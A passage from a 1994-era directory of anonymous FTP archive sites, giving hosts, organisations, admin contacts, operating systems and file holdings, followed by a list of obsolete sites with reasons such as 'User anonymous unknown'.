USA +GMT : -8 +Date : 30-Oct-94 +Source : old ftp-list +Alias : scam.berkeley.edu +Admin : ftp@xcf.berkeley.edu +Organ : University of California - Berkeley, Berkeley, California, XCF +Server : +System : Unix (Ultrix 4.1) +URL : ftp://xcf.berkeley.edu/ +Comment: transfers are logged +Files : ht; netjam; rec.arts.startrek.info; tk; tcl + +Site : xmission.com +Country: USA +GMT : -7 +Date : 26-Aug-94 +Source : Perry.Rovers@kub.nl {posting} +Alias : +Admin : support@xmission.com +Organ : Xmission: Internet Access for Utah, Salt Lake City +Server : FSP +System : Unix +URL : ftp://xmission.com/ +Comment: max. 70 users; transfers are logged; user public directories +Files : altatech; angst; animbear; astech; chipware; geomorph; graphcon; + janet; lists; medicode; mindgate; mindshar; ninja (Remote Access); + snowhare; solution; starnet; Xmission info + +Site : xview.ucdavis.edu +Country: USA +GMT : -8 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of California - Davis, Davis, California +Server : +System : Unix (SunOS 4.0) +URL : ftp://xview.ucdavis.edu/ +Comment: +Files : xview + +Site : yak.macc.wisc.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : anderson@macc.wisc.edu +Organ : University of Wisconsin, Madison, Wisconsin, + Madison Academic Computing Center (MACC) +Server : +System : NeXTStep 3.1 +URL : ftp://yak.macc.wisc.edu/ +Comment: +Files : NeXT; Elm; trn; C-Kermit + +Site : yalevm.ycc.yale.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Yale University, New Have, Connecticut +Server : +System : VM/CMS +URL : ftp://yalevm.ycc.yale.edu/ +Comment: ANONYMOU logged in with no special access privileges +Files : + +Site : yallara.cs.rmit.oz.au +Country: Australia +GMT : +10 +Date : 15-Dec-94 +Source : lm@rmit.edu.au (Luke Mewburn); old ftp-list +Alias : +Admin : ftpadmin@cs.rmit.edu.au +Organ : Royal Melbourne Institute of Technology (RMIT), Melbourne, CS dept. +Server : +System : +URL : ftp://yallara.cs.rmit.oz.au/ +Comment: TeX moved to ftp.cs.rmit.edu.au; transfers are logged +Files : + +Site : yamabico.cs.uow.edu.au +Country: Australia +GMT : +10 +Date : 26-Aug-94 +Source : andrew@bing.apana.org.au (Andrew Cosgriff) {posting} +Alias : +Admin : +Organ : University of Western Australia, , CS dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://yamabico.cs.uow.edu.au/ +Comment: +Files : Linux (MCC, SLS, Slackware, sunsite.unc.edu, tsx-11.mit.edu); MH; + nwt; paper + +Site : ymir.claremont.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : bed_gdg@shsu.edu (George D. Greenwade); old ftp-list +Alias : +Admin : tex-group@ymir.claremont.edu (Don Hosek) +Organ : Claremont College, , California +Server : +System : VAX/VMS running Multinet +URL : ftp://ymir.claremont.edu/ +Comment: default directory: LOCAL:[ANONYMOUS]; Problem: can't get a + listing of the directory: You are not permitted to access this + directory; This is probably due to a bug in Multinet's FTP server + [or this system may have become obsolete, I'm not sure yet] +Files : lots of VMS; TeX-for-VMS; mainz fonts; MS-DOS TeX + +Site : york.cpmc.columbia.edu +Country: USA +GMT : -5 +Date : 06-May-94 +Source : joe@york.cpmc.columbia.edu (Joseph D. Terwilliger) +Alias : +Admin : +Organ : Columbia University, New York, New York +Server : +System : +URL : ftp://york.cpmc.columbia.edu/ +Comment: +Files : human genetics + +Site : yoyo.cc.monash.edu.au +Country: Australia +GMT : +10 +Date : 11-Mar-94 +Source : Archive-name: games/roguelike +Alias : +Admin : ftp@yoyo.cc.monash.edu.au +Organ : Monash University - Clayton Campus, Melbourne, CC +Server : +System : Unix +URL : ftp://yoyo.cc.monash.edu.au/ +Comment: directory: /pub/crossfire; mostly mirrors from other sites, if + you are from outside Australia, try other sites; transfers are + logged; uploads to incoming/, mail to the admin, no notification + means deletion of the file(s); /listserv +Files : archives of the listserver; blues brothers; celemp; Crossfire (Roguelike game); frp; + gaunix (Monash Gaunix project); kermit; maps; Moria; Motorola; + quotes; rec.arts.disney; scripts; Tin; tuning_Ultrix; virus; + weathermap; MS-Windows + +Site : zaphod.lanl.gov +Country: USA +GMT : -7 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Los Alamos National Laboratory, Los Alamos, New Mexico +Server : +System : Unix (SunOS 4.1) +URL : ftp://zaphod.lanl.gov/ +Comment: +Files : alu; clim; clos-on-kee; GNU; papers + +Site : zariski.harvard.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Harvard University, Cambridge, Massachusetts +Server : +System : Unix (SunOS 4.1) +URL : ftp://zariski.harvard.edu/ +Comment: +Files : macaulay + +Site : zebra.desy.de +Country: Germany +GMT : +1 +Date : 10-Sep-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Deutsche Elektronen Synchotron (German Electro-Synchotron, DESY), + Hamburg +Server : +System : Unix +URL : ftp://zebra.desy.de/ +Comment: +Files : CFortran; funnel; PostScript + +Site : zelator.in-berlin.de +Country: Germany +GMT : +1 +Date : 23-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : zelator.zelator.de +Admin : +Organ : , Berlin +Server : +System : +URL : ftp://zelator.in-berlin.de/ +Comment: down at time of check, try later +Files : + +Site : zephyr.grace.cri.nz +Country: New Zealand +GMT : +12 +Date : 12-Feb-94 +Source : VAX Software List +Alias : +Admin : +Organ : +Server : +System : Unix +URL : ftp://zephyr.grace.cri.nz/ +Comment: +Files : Oberon; cdrom; Cnews; docs; Fnews; genbank; gle; GNU; Linux; + networking; news-archive; PH; QI; recreation; silicon; TeX; + Ultrix; VMS gle; wairakei + +Site : zeus.mgmt.purdue.edu +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : old ftp-list +Alias : +Admin : +Organ : Purdue University, West-Lafayette, Indiana, +Server : +System : +URL : ftp://zeus.mgmt.purdue.edu/ +Comment: anonymous access unavailable 08:00-17:50 local time +Files : + +Site : zonnetje.swidoc.nl +Country: Netherlands +GMT : +1 +Date : 16-May-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Sociaal Wetenschappelijk Informatie- en Documentatie Centrum (Social + Science Information and Documentation Center, SWIDOC), Amsterdam +Server : +System : Unix (SunOS 4.1) +URL : ftp://zonnetje.swidoc.nl/ +Comment: +Files : doors; icpsr; image-info + +============================================================================ + +The following sites are obsolete, look in the 'Comment' line for reasons: +(if the reason is 'can't set guest privileges' it might work for you, +apparently this happens sometimes) + +Site : acacia.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://acacia.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : ada.cenaath.cena.dgac.fr +Country: France +GMT : +1 +Date : 14-Dec-94 +Source : VAX Software List +Alias : +Admin : +Organ : Centre d'Etudes de la Navigation Aerienne (CENA, Center for Aerial + Navigation Studies), Mons +Server : +System : VAX/VMS running Wollongong FTP Server +URL : ftp://ada.cenaath.cena.dgac.fr/ +Comment: Anonymous FTP disabled; default directory: CENA10:[ANONYMOUS] +Files : VMS software + +Site : admin.viccol.edu.au +Country: Australia +GMT : +10 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://admin.viccol.edu.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : alcazar.cd.chalmers.se +Country: Sweden +GMT : +1 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Chalmers University of Technology, Gothenburg +Server : +System : +URL : ftp://alcazar.cd.chalmers.se/ +Comment: User anonymous unknown +Files : TeX; amoeba; lpmud + +Site : altair.krl.caltech.edu +Country: USA +GMT : -8 +Date : 11-Mar-94 +Source : Archive-name: games/roguelike +Alias : +Admin : brown@reed.edu +Organ : California Institute of Technology, Pasadena, California, + Kellogg Radiation Lab. +Server : +System : Unix +URL : ftp://altair.krl.caltech.edu/ +Comment: archive moved to ftp.krl.caltech.edu; User anonymous access denied +Files : spoilers for NetHack (reed spoilers, weapons guide) + +Site : amarna.gsfc.nasa.gov +Country: USA +GMT : -5 +Date : 17-Feb-94 +Source : VAX Software List +Alias : +Admin : +Organ : NASA - Goddard Space Flight Center, Greenbelt, Maryland, +Server : +System : +URL : ftp://amarna.gsfc.nasa.gov/ +Comment: User anonymous unknown; Problem: I/O error on network device +Files : VMS stuff + +Site : amazonas.cs.columbia.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Columbia University, New York, New York, +Server : +System : +URL : ftp://amazonas.cs.columbia.edu/ +Comment: User anonymous unknown +Files : + +Site : amiga.physik.unizh.ch +Country: Switzerland +GMT : +1 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : ftp@amiga.physik.unizh.ch - Urban D. Mueller +Organ : +Server : Restricted to 1400-1100 or 2pm-11am local time. +System : Unix (System V Release 4.0) +URL : ftp://amiga.physik.unizh.ch/ +Comment: User anonymous unknown +Files : AmigaOS; AmigaUnix; graphics related files and programs + +Site : anl.anl.fr +Country: France +GMT : +1 +Date : 07-Jun-94 +Source : ftp-france-liste; Jean-Michel.Antoine@loria.fr +Alias : +Admin : +Organ : ANL +Server : +System : +URL : ftp://anl.anl.fr/ +Comment: Problem: I/O error on network device; superseded by ftp.loria.fr +Files : + +Site : argus.stanford.edu +Country: USA +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Stanford University, Menlo Park, California +Server : +System : Unix (Ultrix 4.1) +URL : ftp://argus.stanford.edu/ +Comment: User anonymous unknown +Files : netinfo + +Site : atc.boeing.com +Country: USA +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : bcdaic +Admin : +Organ : Boeing Corporation +Server : +System : Unix (Ultrix 4.1) +URL : ftp://atc.boeing.com/ +Comment: User anonymous unknown +Files : + +Site : atc.sp.unisys.com +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Unisys Corporation +Server : +System : +URL : ftp://atc.sp.unisys.com/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : bach.cs.umb.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://bach.cs.umb.edu/ +Comment: User anonymous unknown; Problem: Failed to get host information +Files : web2c; TeX stuff + +Site : baldrick.cs.flinders.oz.au +Country: Australia +GMT : +9 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Flinders University +Server : +System : Unix (SunOS 4.1) +URL : ftp://baldrick.cs.flinders.oz.au/ +Comment: Problem: I/O error on network device [considered obsolete until + proven otherwise] +Files : + +Site : banksia.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://banksia.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : bessel.clsc.utoronto.ca +Country: Canada +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Toronto, Toronto, Ontario +Server : +System : +URL : ftp://bessel.clsc.utoronto.ca/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : betwixt.cs.caltech.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : betwixt.ugcs.caltech.edu +Admin : +Organ : California Institute of Technology, Pasadena, California +Server : +System : +URL : ftp://betwixt.cs.caltech.edu/ +Comment: Problem: I/O error on network device [considered obsolete until + proven otherwise] +Files : + +Site : bikini.cis.ufl.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : root@cis.ufl.edu +Organ : University of Florida +Server : +System : Unix +URL : ftp://bikini.cis.ufl.edu/ +Comment: Anonymous FTP archive moved to ftp.cis.ufl.edu +Files : comp.simulation; IBM RT BSD patches + +Site : birger.forut.no +Country: Norway +GMT : +1 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://birger.forut.no/ +Comment: Problem: Unable to get host information [considered obsolete until + proven otherwise] +Files : IEEE MEDIX documents + +Site : blackbird.afit.af.mil +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://blackbird.afit.af.mil/ +Comment: archives have moved to archive.afit.af.mil +Files : + +Site : brazos.rice.edu +Country: USA +GMT : -6 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Rice University, Houston, Texas +Server : +System : +URL : ftp://brazos.rice.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : brillig.cs.umd.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Maryland, , Maryland +Server : +System : +URL : ftp://brillig.cs.umd.edu/ +Comment: User anonymous unknown +Files : icons + +Site : burdvax.prc.unisys.com +Country: USA +GMT : -5 +Date : 04-Feb-94 +Source : ean@vfl.paramax.com (Ed Naratil); old ftp-list +Alias : +Admin : +Organ : Unisys +Server : +System : VAX/VMS +URL : ftp://burdvax.prc.unisys.com/ +Comment: Problem: Failed to get host information; update by Ed Naratil: + it no longer exists +Files : + +Site : byron.u.washington.edu +Country: USA +GMT : -8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Washington, Seattle, Washington +Server : +System : +URL : ftp://byron.u.washington.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : caf.mit.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : mit-caf +Admin : +Organ : Massachusetts Institute of Technology, Cambridge, Massachusetts +Server : +System : +URL : ftp://caf.mit.edu/ +Comment: User anonymous unknown +Files : + +Site : castlab.engr.wisc.edu +Country: USA +GMT : -6 +Date : 25-Jan-95 +Source : +Alias : +Admin : +Organ : University of Wisconsin, Madison, Wisconsin, Engineering dept. +Server : +System : Unix (SunOS 4.1) +URL : ftp://castlab.engr.wisc.edu/ +Comment: graphics files moved to dpls.dacc.wisc.edu +Files : seems empty enough to declare it obsolete + +Site : cathouse.aiss.uiuc.edu +Country: USA +GMT : -6 +Date : 10-Sep-94 +Source : old ftp-list +Alias : +Admin : jrh@uiuc.edu +Organ : University of Illinois - Urbana/Champaign, Urbana, Illinois +Server : +System : Unix +URL : ftp://cathouse.aiss.uiuc.edu/ +Comment: considered obsolete; these files were moved to cathouse.org + /pub/cathouse +Files : Rush Limbuagh transcripts; Monty Python; humor; song lyrics; + movie scripts; urban legends + +Site : cc.sfu.ca +Country: Canada +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list +Alias : whistler.sfu.ca +Admin : +Organ : Simon Fraser University, Burnaby, British Columbia, CC +Server : +System : Unix (SunOS 4.1) +URL : ftp://cc.sfu.ca/ +Comment: User anonymous unknown +Files : Mac; MS-DOS + +Site : cc.tut.fi +Country: Finland +GMT : +2 +Date : 01-Dec-93 +Source : old ftp-list; IRC-faq as posted in news.answers +Alias : lehtori.cc.tut.fi +Admin : +Organ : +Server : +System : Unix (4.3BSD) +URL : ftp://cc.tut.fi/ +Comment: user anonymous unknown +Files : pub/irchat contains IRC clients + +Site : ccphys.nsu.nsk.su +Country: Russia +GMT : +6 +Date : 04-Jan-95 +Source : mbo@ccphys.nsu.nsk.su (Konstantin Yu. Boyandin) +Alias : +Admin : mbo@ccphys.nsu.nsk.su (Konstantin Yu. Boyandin) +Organ : Novosibirsk State University, Novosibirsk, Ad Initio Design + group (AIDg) +Server : +System : Netware 3.11 (PC fileserver) +URL : ftp://ccphys.nsu.nsk.su/ +Comment: currently closed; to be reopened when time and space permit; + files are now available from ftp.cnit.nsk.su (.su users only); + available for .su users (mail to admin for details); default + directory: /PRIVATE/FTPSITE; available all day; +Files : AD&D; adventure games; D&D; DDL; games; MUD; RPG; SSG; strategic/ + economic/role-playing engines and description languages to develop + several types of software; wargames + +Site : ccsun.unicamp.br +Country: Brazil +GMT : -3 +Date : 22-May-94 +Source : fleming%snfma1@snfma1.if.usp.br (Henrique Fleming {F}) +Alias : obelix.unicamp.br +Admin : +Organ : Universidad de Campinas (University of Campinas), Sao Paulo +Server : +System : Unix (SunOS 4.1) +URL : ftp://ccsun.unicamp.br/ +Comment: user anonymous unknown +Files : + +Site : cdc1.cc.lehigh.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Lehigh University +Server : +System : +URL : ftp://cdc1.cc.lehigh.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : cybserv + +Site : cephalotus.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://cephalotus.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : cerl.cecer.army.mil +Country: USA +GMT : -6 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://cerl.cecer.army.mil/ +Comment: User anonymous unknown +Files : Pcomm and patches + +Site : charly.bl.physik.tu-muenchen.de +Country: Germany +GMT : +1 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Technischer Universitaet Muenchen (Munich University of Technology) + Physics department, Munich +Server : +System : +URL : ftp://charly.bl.physik.tu-muenchen.de/ +Comment: use ftp.bl.physik.tu-muenchen.de instead +Files : + +Site : clio.rz.uni-duesseldorf.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : kottwitz@rz.uni-duesseldorf.de (Angelika Kottwitz) +Organ : Universitaet Duesseldorf (University of Duesseldorf), Duesseldorf, + CC +Server : +System : +URL : ftp://clio.rz.uni-duesseldorf.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin +Files : + +Site : clutx.clarkson.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : craft.camp.clarkson.edu +Admin : +Organ : Clarkson University, Potsdam, New York +Server : +System : +URL : ftp://clutx.clarkson.edu/ +Comment: User anonymous unknown +Files : BBSLists; Batch; ISETL; MicroEmacs; SmallTalk; Turbo C & Pascal; + Ghostscript; UUPC; xlisp + +Site : clvax1.cl.msu.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Michigan State University, Lansing, Michigan +Server : +System : +URL : ftp://clvax1.cl.msu.edu/ +Comment: Username anonymous has been disabled +Files : MS Windows + +Site : cod.nosc.mil +Country: USA +GMT : +Date : 17-Feb-94 +Source : old ftp-list +Alias : +Admin : +Organ : +Server : +System : Unix (SunOS 4.1) +URL : ftp://cod.nosc.mil/ +Comment: files moved to ftp.nosc.mil (this site does accept anonymous ftp) +Files : + +Site : columbia.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : mailhub.columbia.edu, ftp.columbia.edu, cunixf.cc.columbia.edu +Admin : ftp-bugs@columbia.edu +Organ : Columbia University, New York, New York, +Server : +System : +URL : ftp://columbia.edu/ +Comment: Columbia University mailhub: anonymous ftp moved to other sites + look for ftp.cs.columbia.edu, ftp.cc.columbia.edu etc. +Files : files moved to other sites + +Site : coma.cs.tu-berlin.de +Country: Germany +GMT : +1 +Date : 14-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Technische Universitaet Berlin (Berlin University of Technology), + Berlin, CS dept. +Server : +System : +URL : ftp://coma.cs.tu-berlin.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin + Problem: I/O error on network device [considered obsolete until + proven otherwise] +Files : + +Site : compaq.com +Country: USA +GMT : -6 +Date : 31-Oct-94 +Source : old ftp-list +Alias : wotan.compaq.com +Admin : +Organ : Compaq Computer +Server : +System : +URL : ftp://compaq.com/ +Comment: no public files on this system: use ftp.compaq.com instead; obsolete +Files : + +Site : copernicus.berkeley.edu +Country: USA +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : copernicus.eecs.berkeley.edu +Admin : +Organ : University of California - Berkeley, Berkeley, California +Server : +System : Unix (SunOS 4.1) +URL : ftp://copernicus.berkeley.edu/ +Comment: user anonymous unknown +Files : + +Site : cpsc.ucalgary.ca +Country: Canada +GMT : +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : fsa.cpsc.ucalgary.ca +Admin : +Organ : University of Calgary, Calgary +Server : +System : +URL : ftp://cpsc.ucalgary.ca/ +Comment: Anonymous ftp not permitted here, use ftp.cpsc.ucalgary.ca +Files : X; txt compression corpus; The Reactive Keyboard + +Site : crocus.medicine.rochester.edu +Country: USA +GMT : -5 +Date : 10-Sep-94 +Source : sgi/anonftp/list +Alias : +Admin : ajp2o@crocus.medicine.rochester.edu +Organ : University of Rochester, Rochester, New York, Faculty of Medicine +Server : +System : Unix +URL : ftp://crocus.medicine.rochester.edu/ +Comment: this site is NO longer an archive site +Files : Irix libraries and applications; xview2 + +Site : cs.curtin.edu.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Curtin University +Server : +System : +URL : ftp://cs.curtin.edu.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : nn patches; fdx; images; raytracing + +Site : cs.stthomas.edu +Country: USA +GMT : -6 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : sunserver +Admin : +Organ : St. Thomas +Server : +System : +URL : ftp://cs.stthomas.edu/ +Comment: user anonymous unknown +Files : + +Site : cs.uoregon.edu +Country: USA +GMT : -8 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : skinner +Admin : +Organ : University of Oregon, , Oregon +Server : +System : +URL : ftp://cs.uoregon.edu/ +Comment: User anonymous unknown +Files : raytracing archive (markv) + +Site : csdvax.gatech.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Georgia Tech, Atlanta, Georgia +Server : +System : VAX/VMS +URL : ftp://csdvax.gatech.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : cse.unl.edu +Country: USA +GMT : -6 +Date : 12-Feb-94 +Source : mgleason@cse.unl.edu (Mike Gleason) {posting}; Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Nebraska - Lincoln, Lincoln, Nebraska, CS and + Engineering (CSE) dept. +Server : +System : Unix +URL : ftp://cse.unl.edu/ +Comment: superseded by ftp.cs.unl.edu; still accepts anonymous +Files : rts.simulator; some public directories from people; NcFTP + (/pub/mgleason) + +Site : csegbbs1.uark.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Arkansas, , Arkansas +Server : +System : +URL : ftp://csegbbs1.uark.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : csl36h.csl.ncsu.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : North Carolina State University, Raleigh, North Carolina +Server : +System : +URL : ftp://csl36h.csl.ncsu.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : cu.nih.gov +Country: USA +GMT : -5 +Date : 06-Jan-94 +Source : Perry.Rovers@kub.nl +Alias : +Admin : +Organ : U.S. National Inst. of Health, , , CU +Server : +System : +URL : ftp://cu.nih.gov/ +Comment: use ftp.cu.nih.gov instead, weird system anyway +Files : U.S. Government info files + +Site : cuvmb.columbia.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : ftp-bugs@columbia.edu +Organ : Columbia University, New York, New York, + Academic Information Systems +Server : +System : VM/CMS +URL : ftp://cuvmb.columbia.edu/ +Comment: User anonymous login rejected: anonymous ftp moved to other sites + look for ftp.cs.columbia.edu, ftp.cc.columbia.edu etc. +Files : moved to other sites + +Site : datacomm.ucc.okstate.edu +Country: USA +GMT : -6 +Date : 11-Mar-94 +Source : +Alias : +Admin : +Organ : Oklahoma State University, , Oklahoma, CC +Server : +System : Unix (SunOS 4.1) +URL : ftp://datacomm.ucc.okstate.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : 3C509; bootp; CUTCP; ODItrpkt; ucat; + +Site : dcssparc.cl.msu.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Michigan State University, Lansing, Michigan +Server : +System : +URL : ftp://dcssparc.cl.msu.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : deco.ucc.su.oz.au +Country: Australia +GMT : +10 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Sydney University, Sydney +Server : +System : +URL : ftp://deco.ucc.su.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : derro.ucc.su.oz.au +Country: Australia +GMT : +10 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Sydney University, Sydney +Server : +System : Unix (System V Release 4.0) +URL : ftp://derro.ucc.su.oz.au/ +Comment: user anonymous unknown +Files : + +Site : dione.rz.uni-osnabrueck.de +Country: Germany +GMT : +1 +Date : 24-Dec-93 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : wmeyer@dosuni1.bitnet (Wolfgang Meyer) +Organ : Universitaet Osnabrueck (University of Osnabrueck), Osnabrueck +Server : +System : +URL : ftp://dione.rz.uni-osnabrueck.de/ +Comment: Service moved to ftp.rz.uni-osnabrueck.de; Problem: Service not + available, Remote server has closed the connection +Files : Amiga; Info; Oztex; DOS; Unix + +Site : dryandra.maths.uwa.oz.au +Country: Australia +GMT : +8 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : University of Western Australia +Server : +System : +URL : ftp://dryandra.maths.uwa.oz.au/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : + +Site : dsl.cis.upenn.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : aurora.cis.upenn.edu +Admin : +Organ : University of Pennsylvania, , Pennsylvania +Server : +System : +URL : ftp://dsl.cis.upenn.edu/ +Comment: User anonymous unknown +Files : GIF; IBM + +Site : dsrbg2.informatik.tu-muenchen.de +Country: Germany +GMT : +1 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : Technischer Universitaet Muenchen (Munich University of Technology) + Computer Science department, Munich +Server : +System : +URL : ftp://dsrbg2.informatik.tu-muenchen.de/ +Comment: ftp service has moved to ftp.informatik.tu-muenchen.de +Files : + +Site : dsrgsun.ces.cwru.edu +Country: USA +GMT : -5 +Date : 14-Dec-94 +Source : old ftp-list +Alias : +Admin : +Organ : Case Western Reserve University, Cleveland, Ohio +Server : +System : +URL : ftp://dsrgsun.ces.cwru.edu/ +Comment: Problem: Failed to get host information [considered obsolete until + proven otherwise] +Files : Minix; TOS Atari ST; gcc from bammi + +Site : dszenger9.informatik.tu-muenchen.de +Country: Germany +GMT : +1 +Date : 15-Dec-94 +Source : Deutsche Anonyme FTP-Server List +Alias : +Admin : +Organ : Technische Universitaet Muenchen (Munich Institute of Technology), + Munich, CS dept. +Server : +System : +URL : ftp://dszenger9.informatik.tu-muenchen.de/ +Comment: removed on request of Deutsche Anonyme FTP Server List admin +Files : + +Site : durer.cme.nist.gov +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : National Institute for Standards and Technology, Gaithersburg, + Maryland +Server : +System : +URL : ftp://durer.cme.nist.gov/ +Comment: Problem: I/O error on network device; user anonymous access denied + files moved to ftp.cme.nist.gov +Files : 8mm backup (Exabyte); pdes; microemacs + +Site : ebony.educom.edu +Country: USA +GMT : +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : +Server : +System : +URL : ftp://ebony.educom.edu/ +Comment: user anonymous unknown; Problem: I/O error on network device +Files : Bitnet files; paroute + +Site : einstein.engr.umbc.edu +Country: USA +GMT : +Date : 11-Mar-94 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : University of Maryland - Baltimore County Campus, Baltimore, + Maryland, Engineering dept. +Server : +System : +URL : ftp://einstein.engr.umbc.edu/ +Comment: Guest login not permitted +Files : + +Site : emunix.emich.edu +Country: USA +GMT : -5 +Date : 01-Dec-93 +Source : old ftp-list and Perry.Rovers@kub.nl +Alias : +Admin : +Organ : 